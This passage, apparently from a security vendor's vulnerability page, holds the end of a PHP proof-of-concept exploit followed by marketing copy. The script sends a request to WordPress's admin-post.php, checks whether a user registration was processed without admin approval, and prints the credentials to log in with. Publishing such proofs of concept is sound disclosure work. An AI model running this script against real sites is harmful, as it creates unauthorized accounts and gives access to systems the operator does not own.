$response2 = curl_exec($ch2);
$http_code2 = curl_getinfo($ch2, CURLINFO_HTTP_CODE);
curl_close($ch2);

echo "n[+] Alternative method (admin-post.php):n";
echo "[+] HTTP Response Code: " . $http_code2 . "n";

if ($http_code2 == 302 || $http_code2 == 200) {
    echo "[!] VULNERABLE! User registration may have been processed without admin approval!n";
} else {
    echo "[-] Request failed with HTTP code: " . $http_code2 . "n";
}

echo "n[+] Done. Manual verification required to confirm registration success.n";
echo "[+] Try logging in with: " . $username . " / " . $password . "n";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School